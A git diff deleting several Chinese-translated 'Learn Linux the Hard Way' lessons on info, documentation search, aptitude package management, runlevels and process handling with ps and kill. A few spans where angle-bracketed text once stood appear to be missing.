-那么这是用于`man`的。现在,还有一个有用的文档工具,`info`。命令列表如下: - -+ `info […]` - 调用`info`。如果你不使用参数调用它,它会将你带到索引页面。 -+ ``, ``, ``, ``可让你滚动文字。 -+ ``打开光标下的链接。链接以`*`开头。 -+ `` - 跳转到文档中的下一个链接。 -+ `u` - 转到上一级 -+ `p` - 转到上一页,就像浏览器一样。 -+ `n` - 转到下一页。 -+ `q` - 关闭`info`。 - -为了使用`vi`选项来启动`info`,我希望你已经熟悉它了,键入`info -vi-keys`。现在你可以使用`j`和`k`来滚动。 - -## 附加题 - -+ 键入`man man`并尝试解码 SYNOPSIS(概要)部分,这将解释如何调用它。 -+ 键入`info`和`h`,阅读`info`的帮助部分。 diff --git a/docs/llthw-zh/ex13.md b/docs/llthw-zh/ex13.md deleted file mode 100644 index 573f5743..00000000 --- a/docs/llthw-zh/ex13.md +++ /dev/null @@ -1,41 +0,0 @@ -# 练习 13:文档:Google - -> 原文:[Exercise 13. Documentation: Google](https://archive.fo/8kvYG) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -## 文档搜索简介 - -现在你知道了如何使用 Linux 在线文档,我会告诉你:“Linux 在线文档是好的,但它还不够。”这意味着如果你已经熟悉了某个特定程序的工作原理,那么手册页很有用,但是当你没有时它们就没有帮助。 - -为了让自己起步,你需要阅读一本书,或者找到一个允许你开始的小秘籍,这被称为“如何做”。例如,要开始使用 Apache Web 服务器,你可能需要使用“如何使用 Apache”。没关系,这就是谷歌的意义,但现在我会给你一个大警告: - -> 不要盲目遵循任何“如何做”,永远不要! - -使用 Google 的正确方法是: - -+ 找到一个“如何做”。 -+ 遵循它,但阅读,或至少浏览所有手册页,来了解你不了解的程序。另外,请阅读“如何做”中所有未知选项。这是非常重要的。 - -## 实用资源的列表 - -有时最好是搜索特定网站,而不是盲目地将内容输入 Google。这是有用资源的列表: - -+ 是非常有价值的,当你获取某些主题的初始信息的时候。其链接部分更是无价之宝。 -+ 这是非常有用的网站,用于查找使用示例和用例的信息。StackExchange 网络包括几个资源,其中最有用的是 。 当你编写 bash 脚本时, 是一个非常有用的资源。 -+ 包含许多有用的“如何做”和例子。 -+ 许多程序的主页提供了良好的,有时是优秀的文档。例如 Apache 和 ngnix,分别为:。 -+ 是 Linux 文档项目,包含许多不同主题的深入指南。 - -## 搜索小提示 - -Google 有一种查询语言,可以让你执行强大的查询。这是这种语言的主要命令: - -+ `(screen|tmux) how to` - 同时搜索`screen`和`tmux`的“如何做”。记得 shell 参数的扩展嘛?这是相似的。 -+ `site:serverfault.com query` - 仅在这个网站上搜索。你可以使用`(site:serverfault.com | site:stackexchange.com)`,一次性搜索多个站点。 -+ `"..."` - 仅显示包含此查询的那些页面。 -+ `-query` - 从搜索结果中排除某些内容。 diff --git a/docs/llthw-zh/ex14.md b/docs/llthw-zh/ex14.md deleted file mode 100644 index 51469485..00000000 --- a/docs/llthw-zh/ex14.md +++ /dev/null @@ -1,209 +0,0 @@ -# 练习 14:包管理:Debian 包管理工具`aptitude` - -> 原文:[Exercise 14. Package management: Debian package management utility aptitude](https://archive.fo/NUuCN) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在是时候获得一些神圣的知识,向 Linux 系统添加新程序了。Linux 中的程序称为软件包,通常通过称作包管理器的工具,从网络仓库安装 。 - -+ 软件包通常是一个压缩的程序,你可以像这样安装软件包:`aptitude install program...`。为了避免安装恶意程序,所有软件包都由其创建者进行数字签名,这意味着,如果软件包在创建后修改,包管理器不允许你安装它。 -+ 包管理器是一个程序,允许你安装其他程序。许多程序依赖于其他程序,例如使用对话窗口的程序通常需要一个程序,它知道如何绘制这些窗口。包管理器知道这些依赖关系,当你要求它安装一个特定的程序时,它会安装所需的所有程序,你要求的程序需要这些程序来工作。Debian 包管理器称为`aptitude`。 - -网络仓库是一个包含许多软件包的站点,可以随时安装。 - -这是程序安装的典型概述: - -``` -你 - 使用包管理器搜索可用的程序 - 请求包管理器安装程序 -包管理器 - 查找安装当前程序所需的所有程序 - 在包管理器数据库中,为安装标记它们 - 安装所有需要的程序,包括你所需的程序 - 下载所有需要的程序 - 从这些软件包提取文件,放到由 FHS 标准定义的,系统上的位置 - 对于每个程序,运行一个特殊的安装脚本,允许它执行初始操作: - 创建目录 - 创建数据库 - 生成默认配置文件 - ...... - 通过将已安装程序的状态修改为已安装,更新系统包的数据库 -你 - 能够立即运行你新安装的程序 -``` - -现在是时候了解提取文件的位置。在 Linux 中,所有相同类型的文件都安装在相同的位置。例如,所有程序的可执行文件都安装在`/usr/bin`中,程序的文档在`/usr/share/doc`中,以及其它。这可能听起来有点凌乱,但它是非常有用的。一个名为 FHS 的标准文件定义了哪些文件在哪里,你可以通过调用`man 7 hier`来查看它 。我将在下面向你显示“文件系统层次标准”版本 2.2 的缩略版本: - -+ `/` - 这是根目录。这是整棵树开始的地方。 -+ `/bin` - 此目录包含在单用户模式下需要的可执行程序,并将其升级或修复。 -+ `/boot` - 包含用于引导程序的静态文件。该目录仅保存引导过程所需的文件。映射安装程序和配置文件应该放在`/sbin`和`/etc`。 -+ `/dev` - 特殊或设备文件,指的是物理设备。见`mknod(1)`。 -+ `/etc` - 包含机器本地的配置文件。 -+ `/home` - 在具有用户主目录的机器上,这些通常位于该目录下。该目录的结构取决于本地管理决策。 -+ `/lib` - 此目录应该保存共享库,它们是启动系统和在根文件系统中运行命令所必需的。 -+ `/media` - 此目录包含可移动介质的挂载点,如 CD 和 DVD 磁盘或 USB 记忆棒。 -+ `/mnt` - 此目录是临时装载的文件系统的挂载点。在某些发行版中,`/mnt`包含子目录,用作多个临时文件系统的挂载点。 -+ `/proc` - 这是`proc`文件系统的挂载点,它提供运行进程和内核的信息。这个伪文件系统在`proc(5)`中有更详细的描述。 -+ `/root` - 此目录通常是`root`用户的主目录(可选)。 -+ `/sbin` - 类似`/bin`,此目录包含启动系统所需的命令,但通常不会由普通用户执行。 -+ `/srv` - 此目录包含由该系统提供的,站点特定的数据。 -+ `/tmp` - 此目录包含临时文件,可能会在没有通知的情况下进行删除,例如通过普通任务或在系统启动时删除。 -+ `/usr` - 此目录通常是从单独的分区挂载的。它应该只保存可共享的只读数据,以便它可以由运行 Linux 的各种机器来挂载。 -+ `/usr/bin` - 这是可执行程序的主目录。普通用户执行的大多数程序不需要启动或修复系统,它们不在本地安装,并且应放在该目录中。 -+ `/usr/local` - 这是站点本地的程序的通常位置。 -+ `/usr/share` - 此目录包含具有特定应用程序数据的子目录,可以在同一操作系统的不同架构之间共享。通常可以在这里找到,以前存在于`/usr/doc`或`/usr/ lib`或`/usr/man`中的东西。 -+ `/usr/share/doc` - 已安装程序的文档。 -+ `/var` - 此目录包含可能会更改大小的文件,如假脱机和日志文件。 -+ `/var/log` - 其他日志文件。 -+ `/var/spool` - 各种程序的假脱机(或排队)文件。 -+ `/var/tmp` - 类似`/tmp`,此目录保存临时文件,不知道存储多长时间。 - -真的很长,但是你不需要记住它,`man hier 7`总是在那里。现在你只需要知道`/usr/bin`,`/usr/share`和`/var/log`。 - -让我们再谈谈软件包和包管理器。首先让我们重复一下: - -+ 每个程序都叫做软件包。 -+ 包管理器管理所有软件包,即安装或卸载它们。 -+ 为此,包管理器拥有一个已安装和可用软件包的数据库。 - -此数据库中的每个包都具有状态,指示是否安装了软件包,软件包是否可以更新,以及其它。你可以通过键入`dpkg -l`打印当前安装的软件包。示例输出如下所示: - -``` -user1@vm1:~$ dpkg -l | head | less -S -Desired=Unknown/Install/Remove/Purge/Hold -| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend -|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) -||/ Name Version Description -+++-=====================-====================-======================================================== -ii acpi 1.5-2 displays information on ACPI devices -ii acpi-support-base 0.137-5 scripts for handling base ACPI events such as the power -ii acpid 1:2.0.7-1squeeze4 Advanced Configuration and Power Interface event daemon -``` - -你可以看到,这些状态显示在前三列中。从这个输出可以看出,所有的包都需要安装,或者确实已安装,没有错误,因为第三列是空的。以下是所有可能的包状态列表。 - -第一列。预期的操作,我们想要对软件包做的事情: - -+ `u` = 未知(未知状态) -+ `i` = 安装。选择该软件包进行安装。 -+ `r` = 选择该软件包进行卸载(即我们要删除所有文件,但配置文件除外)。 -+ `p` = 清理 选择软件包进行清理(即我们要从系统目录,甚至配置文件中删除所有东西)。 -+ `h` = 标记为保留的包,不由`dpkg`处理,除非强制使用选项`-force-hold`。 - -第二列。软件包状态,软件包目前是什么状态: - -+ `n` = 未安装。该软件包未安装在你的系统上。 -+ `c` = 配置文件。系统上只存在该包的配置文件。 -+ `H` = 半安装。包的安装已经启动,但由于某种原因未完成。 -+ `U` = 已解压缩。该软件包已解压缩,但未配置。 -+ `F` = 半配置。软件包已解压缩,配置已启动,但由于某些原因尚未完成。 -+ `W` = 触发器等待。软件包等待另一个包的触发器处理。 -+ `t` = 触发中。软件包已被触发。 -+ `i` = 已安装.该软件包已解压缩并配置好。 - -第三栏。出错的东西。 - -+ `R` = 需要恢复。标有“需要恢复”的软件包已损坏,需要重新安装。这些包不能被删除,除非强制使用选项`-force-remove-reinstreq`。 - -同样,你不需要记住它,只需记住`info dpkg`命令,它将显示这些信息。现在不要纠结包状态,只要记住,`ii`状态意味着这个包一切正常。 - -好了,让我们安装一个名为`midnight commander`的程序,它是一个文件管理器,它允许你直观地浏览系统上的目录,并对你的文件执行复制,重命名或删除操作。 - -现在,你将了解如何搜索,安装和删除软件包。 - -## 这样做 - -``` -1: aptitude search mc | grep -i 'midnight commander' -2: sudo aptitude install mc -3: dpkg -L mc | grep '/usr/bin' -4: aptitude search mc | grep -i 'midnight commander' -5: mc -6: -7: sudo aptitude remove mc -``` - -## 你应该看到什么 - -``` -user1@vm1:~$ aptitude search mc | grep -i 'midnight commander' -p mc - Midnight Commander - a powerful file manag -p mc-dbg - Midnight Commander - a powerful file manag -user1@vm1:/home/user1# sudo aptitude install mc -The following NEW packages will be installed: - libglib2.0-0{a} libglib2.0-data{a} mc shared-mime-info{a} -0 packages upgraded, 4 newly installed, 0 to remove and 0 not upgraded. -Need to get 2,957 kB/5,157 kB of archives. After unpacking 17.0 MB will be used. -Do you want to continue? [Y/n/?] y -Get:1 http://mirror.yandex.ru/debian/ squeeze/main libglib2.0-0 amd64 2.24.2-1 [1,122 kB] -Get:2 http://mirror.yandex.ru/debian/ squeeze/main libglib2.0-data all 2.24.2-1 [994 kB] -Get:3 http://mirror.yandex.ru/debian/ squeeze/main shared-mime-info amd64 0.71-4 [841 kB] -Fetched 2,957 kB in 0s (4,010 kB/s) -Selecting previously deselected package libglib2.0-0. -(Reading database ... 24220 files and directories currently installed.) -Unpacking libglib2.0-0 (from .../libglib2.0-0_2.24.2-1_amd64.deb) ... -Selecting previously deselected package libglib2.0-data. -Unpacking libglib2.0-data (from .../libglib2.0-data_2.24.2-1_all.deb) ... -Selecting previously deselected package mc. -Unpacking mc (from .../mc_3%3a4.7.0.9-1_amd64.deb) ... -Selecting previously deselected package shared-mime-info. -Unpacking shared-mime-info (from .../shared-mime-info_0.71-4_amd64.deb) ... -Processing triggers for man-db ... -Setting up libglib2.0-0 (2.24.2-1) ... -Setting up libglib2.0-data (2.24.2-1) ... -Setting up mc (3:4.7.0.9-1) ... -Setting up shared-mime-info (0.71-4) ... -user1@vm1:~$ aptitude search mc | grep -i 'midnight commander' -i mc - Midnight Commander - a powerful file manag -p mc-dbg - Midnight Commander - a powerful file manag -user1@vm1:~$ mc - Left File Command Options Right -|< ~ ---------------------.[^]>||< ~ ---------------------.[^]>| -|'n Name | Size |Modify time||'n Name | Size |Modify time| -|/.. |P--DIR|un 6 21:49||/.. |P--DIR|un 6 21:49| -|/.aptitude | 4096|un 25 18:34||/.aptitude | 4096|un 25 18:34| -|/.mc | 4096|un 25 18:41||/.mc | 4096|un 25 18:41| -| .bash~story| 10149|un 21 12:01|| .bash~story| 10149|un 21 12:01| -| .bash~ogout| 220|un 6 21:48|| .bash~ogout| 220|un 6 21:48| -| .bashrc | 3184|un 14 12:24|| .bashrc | 3184|un 14 12:24| -| .lesshst | 157|un 25 11:31|| .lesshst | 157|un 25 11:31| -|----------------------------------------------------------------| -|UP--DIR --UP--DIR | - ----------- 6367M/7508M (84%) -------------- 6367M/7508M (84%) -| -Hint: The homepage of GNU Midnight Commander: http://www.midnight- -user1@vm1:~$ [^] - 1Help 2Menu 3View 4Edit 5Copy 6Re~ov 7Mkdir 8De~te 9Pu~Dn -user1@vm1:~$ sudo aptitude remove mc -The following packages will be REMOVED: - libglib2.0-0{u} libglib2.0-data{u} mc shared-mime-info{u} -0 packages upgraded, 0 newly installed, 4 to remove and 0 not upgraded. -Need to get 0 B of archives. After unpacking 17.0 MB will be freed. -Do you want to continue? [Y/n/?] y -(Reading database ... 24637 files and directories currently installed.) -Removing shared-mime-info ... -Removing mc ... -Removing libglib2.0-data ... -Removing libglib2.0-0 ... -Processing triggers for man-db ... -user1@vm1:~$ -``` - -## 解释 - -1. 搜索包含`mc`的包名称,并在描述中仅显示包含`midnight commander`的包。`grep -i`意味着,`grep`应该搜索小写和大写字母,如果没有它,`grep`不会显示包含`Midnight Commander`的行,因为它们以大写字母开头。请注意,`mc`状态为`p`状态,这意味着这个包的所需操作是清理,并且由于其他两个状态列中没有任何内容,因此我们可以得出结论,该包未安装。你的`man`注意到了,最开始你没有安装这个包,但这也没问题,因为没有安装的软件包 默认是清除状态。 -1. 安装软件包`mc`。因为这个更改是系统范围的,所以这个命令需要使用超级用户,它能够写入系统中的所有目录。还要注意 debian 软件包管理器`aptitude`如何自动安装`mc`所需的`libglib2.0-0`,`libglib2.0-data`和`shared-mime-info`软件包。 -1. 显示你安装的包的可执行文件。如你所见,他们放在`/usr/bin`中。 -1. 调用`mc`。 -1. 退出`mc`。 -1. 删除`mc`。请注意,自动安装的软件包也会自动删除。如果在 安装`mc`之后,你安装一些需要这些软件包的东西,`aptitude`将保留它们。 - -## 附加题 - -好吧,东西真多。但这里还有更多: -键入`aptiutde search emacs`。弄清楚`v`的意思是什么。 -阅读或浏览 Debian 手册中的[第 2 章 Debian 软件包管理](http://www.debian.org/doc/manuals/debian-reference/ch02.en.html)。 diff --git a/docs/llthw-zh/ex15.md b/docs/llthw-zh/ex15.md deleted file mode 100644 index 20ba3f78..00000000 --- a/docs/llthw-zh/ex15.md +++ /dev/null @@ -1,272 +0,0 @@ -# 练习 15:系统启动:运行级别,`/etc/init.d`,`rcconf`,`update-rc.d` - -> 原文:[Exercise 15. System boot: runlevels, /etc/init.d, rcconf, update-rc.d](https://archive.fo/kQr60) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -首先我会给出一个典型的系统启动过程的概述: - -``` -你 - 按电源开关(或启动虚拟机) - 现在计算机获得控制权 - 控制权传给了 BIOS -BIOS - 执行硬件特定的任务 - 执行开机自检(POST),测试你的硬件 - 检测安装的硬件,如硬盘,内存类型和数量,... - 通过将初始值写入其内存来初始化硬件 - 找到一个启动设备,通常是一个硬盘 - 读取并执行位于此磁盘开头的 MBR(主引导记录) - 控制权现在传给了 MBR -MBR - MBR 寻找并执行 GRUB(多重操作系统启动管理器) - 控制权现在传给了 GRUB -GRUB - 查找可用的文件系统 - 查找并读取其配置文件,来了解: - 系统位于哪里 - 启动什么系统 - 执行什么其他的操作 - 执行 Linux 内核,Linux 操作系统的主要部分 - 控制权现在传给了 Linux 内核 -Linux 内核 - 查找并加载 initrd,这是初始的 ram 磁盘 - initrd 包含必要驱动程序,允许真实文件系统的访问和挂载 - 挂载文件系统,它在 GRUB 配置文件中指定。 - 执行`/sbin/init`,一个启动所有其他程序的特殊程序 - 控制权现在传给了 init -init - 查看`etc/inittab`来确定所需的运行级别 - 加载适合此运行级别的所有程序 - 加载来自`/etc/rc.d/rc2.d/`的所有程序,因为 2 是默认的 Debian 运行级别 - 启动 SSH 和 TTY,以便你可以连接到你的计算机 - 启动现在完成了 -你 - 使用 SSH 连接到你的计算机 - SSH 守护进程为你执行 bash shell - 你现在可以输入东西 - 你再次获得控制权 -``` - -现在我们只对“init”和“运行级别”阶段感兴趣,所以我将总结一下,系统如何启动并自动启动一些程序。首先,有一些术语​​: - -+ 守护进程 - 一直运行在后台的程序。这意味着它不在乎你是否登录系统,通常你不需要手动启动它,因为它在计算机启动时自动启动。 -+ 运行级别 - 系统运行模式。基本上,这只是一个数字,提供给`init`程序,它知道哪些守护程序与每个数字相关联,并根据需要启动并停止这些守护程序。 - -在 Debian 中有以下运行级别: - -| ID | 描述 | -| --- | --- | -| S | 系统通电后会执行它 | -| 0 | 停止,这定义了当系统关闭时执行哪些操作。 | -| 1 | 单用户模式,这是一种特殊的故障排除模式。在这种模式下,大多数守护进程不会自动启动。 | -| 2~5 | 完全多用户,配置的守护程序在此模式下启动。 | -| 6 | 重启,类似停止,但不是关闭系统而是重新启动。 | - -但是`init`怎么知道的?好吧,这是用于它的特殊目录。 - -``` -user1@vm1:/etc$ find /etc -type d -name 'rc*' 2>/dev/null | sort -/etc/rc0.d -/etc/rc1.d -/etc/rc2.d -/etc/rc3.d -/etc/rc4.d -/etc/rc5.d -/etc/rc6.d -/etc/rcS.d -``` - -你可能能猜到,每个数字和`S`对应表中的运行级别。让我们列出其中一个目录,它在正常启动中启动所有所需的守护进程。 - -``` -user1@vm1:/etc$ ls -al /etc/rc2.d | awk '{printf "%-15.15s %-3.3s %s\n",$9,$10,$11}' -. -.. -README -S14portmap -> ../init.d/portmap -S15nfs-common -> ../init.d/nfs-common -S17rsyslog -> ../init.d/rsyslog -S17sudo -> ../init.d/sudo -S18acpid -> ../init.d/acpid -S18atd -> ../init.d/atd -S18cron -> ../init.d/cron -S18exim4 -> ../init.d/exim4 -S18ssh -> ../init.d/ssh -S20bootlogs -> ../init.d/bootlogs -S21rc.local -> ../init.d/rc.local -S21rmnologin -> ../init.d/rmnologin -S21stop-bootlog -> ../init.d/stop-bootlogd -``` - -如你所见,此目录中的文件只是实际启动脚本的符号链接。我们来看看其中一个链接:`S18ssh→../init.d/ssh`。这是关于这个文件的事情: - -+ 它是一个`./init.d/ssh`文件的链接 -+ 它以`S`开始,意味着“启动”。Debian 启动系统中使用的每个脚本至少有 2 个参数,“启动”和“停止”。现在我们可以说,当我们的系统切换到运行级别 2 时,该脚本将使用动作“启动”来执行 。 -+ 它有一个数字 18。`rc`目录中的脚本以字典序执行,所以现在我们明白,在启动`ssh`之前 ,系统启动`portmap`,`nfs-common`,`rsyslog`和`sudo`。`rsyslog`是一个系统日志守护程序,特别是`ssh`想要记录谁在什么时候访问系统,所以在启动之前需要运行`rsyslog`。 - -现在,你将学习如何列出启用的服务(守护程序),以及启用和禁用服务(守护程序)。 - -## 这样做 - -``` - 1: sudo aptitude install rcconf - 2: ls -al /etc/rc2.d - 3: sudo rcconf --list - 4: sudo update-rc.d exim4 disable - 5: ls -al /etc/rc2.d - 6: sudo rcconf --list - 7: sudo update-rc.d exim4 enable - 8: ls -al /etc/rc2.d - 9: sudo rcconf --list -``` - -## 你会看到什么 - -``` -user1@vm1:/var/log$ sudo aptitude install rcconf -The following NEW packages will be installed: - rcconf -0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded. -Need to get 0 B/23.9 kB of archives. After unpacking 135 kB will be used. -Selecting previously deselected package rcconf. -(Reading database ... 24239 files and directories currently installed.) -Unpacking rcconf (from .../archives/rcconf_2.5_all.deb) ... -Processing triggers for man-db ... -Setting up rcconf (2.5) ... - -user1@vm1:/etc$ ls -al /etc/rc2.d -total 12 -drwxr-xr-x 2 root root 4096 Jun 27 11:42 . -drwxr-xr-x 68 root root 4096 Jun 25 18:43 .. --rw-r--r-- 1 root root 677 Mar 27 05:50 README -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S14portmap -> ../init.d/portmap -lrwxrwxrwx 1 root root 20 Jun 4 11:53 S15nfs-common -> ../init.d/nfs-common -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S17rsyslog -> ../init.d/rsyslog -lrwxrwxrwx 1 root root 14 Jun 15 19:02 S17sudo -> ../init.d/sudo -lrwxrwxrwx 1 root root 15 Jun 4 11:53 S18acpid -> ../init.d/acpid -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18atd -> ../init.d/atd -lrwxrwxrwx 1 root root 14 Jun 4 11:53 S18cron -> ../init.d/cron -lrwxrwxrwx 1 root root 15 Jun 27 11:42 S18exim4 -> ../init.d/exim4 -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18ssh -> ../init.d/ssh -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S20bootlogs -> ../init.d/bootlogs -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S21rc.local -> ../init.d/rc.local -lrwxrwxrwx 1 root root 19 Jun 4 11:53 S21rmnologin -> ../init.d/rmnologin -lrwxrwxrwx 1 root root 23 Jun 4 11:53 S21stop-bootlogd -> ../init.d/stop-bootlogd -user1@vm1:/etc$ sudo rcconf --list -rsyslog on -ssh on -bootlogs on -portmap on -sudo on -nfs-common on -udev on -console-setup on -kbd on -exim4 on -keyboard-setup on -acpid on -cron on -atd on -procps on -module-init-tools on -user1@vm1:/etc$ sudo update-rc.d exim4 disable -update-rc.d: using dependency based boot sequencing -insserv: warning: current start runlevel(s) (empty) of script `exim4' overwrites defaults (2 3 4 5). -insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `exim4' overwrites defaults (0 1 6). -user1@vm1:/etc$ ls -al /etc/rc2.d -total 12 -drwxr-xr-x 2 root root 4096 Jun 27 11:43 . -drwxr-xr-x 68 root root 4096 Jun 25 18:43 .. -lrwxrwxrwx 1 root root 15 Jun 27 11:43 K01exim4 -> ../init.d/exim4 --rw-r--r-- 1 root root 677 Mar 27 05:50 README -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S14portmap -> ../init.d/portmap -lrwxrwxrwx 1 root root 20 Jun 4 11:53 S15nfs-common -> ../init.d/nfs-common -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S17rsyslog -> ../init.d/rsyslog -lrwxrwxrwx 1 root root 14 Jun 15 19:02 S17sudo -> ../init.d/sudo -lrwxrwxrwx 1 root root 15 Jun 4 11:53 S18acpid -> ../init.d/acpid -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18atd -> ../init.d/atd -lrwxrwxrwx 1 root root 14 Jun 4 11:53 S18cron -> ../init.d/cron -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18ssh -> ../init.d/ssh -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S20bootlogs -> ../init.d/bootlogs -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S21rc.local -> ../init.d/rc.local -lrwxrwxrwx 1 root root 19 Jun 4 11:53 S21rmnologin -> ../init.d/rmnologin -lrwxrwxrwx 1 root root 23 Jun 4 11:53 S21stop-bootlogd -> ../init.d/stop-bootlogd -user1@vm1:/etc$ sudo rcconf --list -rsyslog on -ssh on -bootlogs on -portmap on -sudo on -nfs-common on -udev on -console-setup on -kbd on -keyboard-setup on -acpid on -cron on -atd on -procps on -module-init-tools on -exim4 off -user1@vm1:/etc$ sudo update-rc.d exim4 enable -update-rc.d: using dependency based boot sequencing -user1@vm1:/etc$ ls -al /etc/rc2.d -total 12 -drwxr-xr-x 2 root root 4096 Jun 27 11:43 . -drwxr-xr-x 68 root root 4096 Jun 25 18:43 .. --rw-r--r-- 1 root root 677 Mar 27 05:50 README -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S14portmap -> ../init.d/portmap -lrwxrwxrwx 1 root root 20 Jun 4 11:53 S15nfs-common -> ../init.d/nfs-common -lrwxrwxrwx 1 root root 17 Jun 4 11:53 S17rsyslog -> ../init.d/rsyslog -lrwxrwxrwx 1 root root 14 Jun 15 19:02 S17sudo -> ../init.d/sudo -lrwxrwxrwx 1 root root 15 Jun 4 11:53 S18acpid -> ../init.d/acpid -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18atd -> ../init.d/atd -lrwxrwxrwx 1 root root 14 Jun 4 11:53 S18cron -> ../init.d/cron -lrwxrwxrwx 1 root root 15 Jun 27 11:43 S18exim4 -> ../init.d/exim4 -lrwxrwxrwx 1 root root 13 Jun 4 11:53 S18ssh -> ../init.d/ssh -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S20bootlogs -> ../init.d/bootlogs -lrwxrwxrwx 1 root root 18 Jun 4 11:53 S21rc.local -> ../init.d/rc.local -lrwxrwxrwx 1 root root 19 Jun 4 11:53 S21rmnologin -> ../init.d/rmnologin -lrwxrwxrwx 1 root root 23 Jun 4 11:53 S21stop-bootlogd -> ../init.d/stop-bootlogd -user1@vm1:/etc$ sudo rcconf --list -rsyslog on -ssh on -bootlogs on -portmap on -sudo on -nfs-common on -udev on -console-setup on -kbd on -exim4 on -keyboard-setup on -acpid on -cron on -atd on -procps on -module-init-tools on -user1@vm1:/etc$ -``` - -## 解释 - -1. 安装`rcconf`包,让你轻松管理运行级别。 -1. 打印包含运行级别 2 的启动脚本的目录。现在启用了邮件服务器`exim4`。 -1. 仅仅打印出相同运行级别的服务。请注意,由于它们被视为系统服务,因此存在多个未显示的服务。`rcconf –list –expert`会把它们全部列出,以及更多的驻留在不同的运行级别上的服务。 -1. 禁用邮件服务器`exim4`的自动启动。 -1. 打印出包括运行级别 2 的启动脚本的目录。`exim4`启动脚本现在从`S18exim4`重命名为`K01exim4`。这意味着`exim4`进入此级别时已停止(被杀死)。如果`exim4`开始没有运行,就没有任何反应。 -1. 打印运行级别 2 的服务。服务`exim4`现在已关闭。 -1. 开启`exim4`的自动启动。 -1. 再次打印包含运行级别 2 的启动脚本的目录,`exim4`再次启动。 -1. 打印运行级别 2 的服务。`exim4`的状态变更为已启动,和预期一样。 - -## 附加题 - -+ 请阅读 Debian 启动过程: -+ 尝试这样做:`aptitude install sysv-rc-conf`,`sysv-rc-conf -list`。阅读`man sysv-rc-conf`。 diff --git a/docs/llthw-zh/ex16.md b/docs/llthw-zh/ex16.md deleted file mode 100644 index 830f25af..00000000 --- a/docs/llthw-zh/ex16.md +++ /dev/null @@ -1,236 +0,0 @@ -# 练习 16:处理进程,`ps`,`kill` - -> 原文:[Exercise 16. Processes: working with proccesses, ps, kill](https://archive.fo/CSqm9) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -最简单的程序是硬盘上的文件,它包含中央处理器执行的指令。当你启动它的时候,它被复制到内存,控制权传递给它。被执行的程序称为进程。在例如 Linux 的多任务操作系统中,你可以启动程序的许多实例,因此可以从一个程序启动许多进程,所有程序将同时运行(执行)。 - -这是执行`ls`时发生的事情的概述: - -``` -你 - 把 ls 和它的参数输入到你的终端模拟器,然后按 - 控制权现在传递给 Bash -Bash - 在你的硬盘上查找 ls - 将自身派生到 Bash 克隆体,也就是将自己克隆到内存中的新位置 - 成为 Bash 克隆体的父进程 - 控制权传给了传递给 Bash 克隆体 -Bash 克隆体 - 成为 Bash 的子进程 - 保存 Bash 父进程的环境 - 知道它是一个克隆体并且做出相应的反应 - 使用 ls 覆盖自身 - 控制权现在传递给 ls -ls - 为你打印一个目录列表或返回错误 - 返回退出代码 - 控制权现在传递给 Bash -Bash - 将 ls 退出代码赋给 ? 变量 - 等待你的输入 -你 - 可以再次输入内容 -``` - -一些进程不像`ls`那样交互,只是在后台静静地工作,就像`ssh`一样。进程有许多可能的状态,并且有许多操作,你可以通过信号机制对它们执行。 - -首先让我们谈论状态。如果你键入`ps ax -forest`,它将打印出所有进程,你会得到这样的东西(跳过一些与硬件有关的进程): - -``` -user1@vm1:/etc$ ps --forest ax - PID TTY STAT TIME COMMAND - 1 ? Ss 0:16 init [2] - 297 ? S - 8: kill -s USR1 $! - 9: -10: kill -s TERM $! -11: -``` - -## 你会看到什么 - -``` -user1@vm1:/etc$ ps x - PID TTY STAT TIME COMMAND - 6675 ? S 0:00 sshd: user1@pts/0 - 6676 pts/0 Ss 0:00 -bash - 8193 pts/0 R+ 0:00 ps x -user1@vm1:/etc$ ps a - PID TTY STAT TIME COMMAND - 1210 tty2 Ss+ 0:00 /sbin/getty 38400 tty2 - 1211 tty3 Ss+ 0:00 /sbin/getty 38400 tty3 - 1212 tty4 Ss+ 0:00 /sbin/getty 38400 tty4 - 1213 tty5 Ss+ 0:00 /sbin/getty 38400 tty5 - 1214 tty6 Ss+ 0:00 /sbin/getty 38400 tty6 - 6216 tty1 Ss+ 0:00 /sbin/getty 38400 tty1 - 6676 pts/0 Ss 0:00 -bash - 8194 pts/0 R+ 0:00 ps a -user1@vm1:/etc$ ps ax - PID TTY STAT TIME COMMAND - 1 ? Ss 0:16 init [2] ---- skipped --- skipped --- skipped --- - 691 ? Ss 0:00 /sbin/portmap - 703 ? Ss 0:00 /sbin/rpc.statd - 862 ? Sl 0:00 /usr/sbin/rsyslogd -c4 - 886 ? Ss 0:00 /usr/sbin/atd - 971 ? Ss 0:00 /usr/sbin/acpid - 978 ? Ss 0:01 /usr/sbin/cron - 1177 ? Ss 0:00 /usr/sbin/sshd - 1191 ? Ss 0:00 /usr/sbin/exim4 -bd -q30m - 1210 tty2 Ss+ 0:00 /sbin/getty 38400 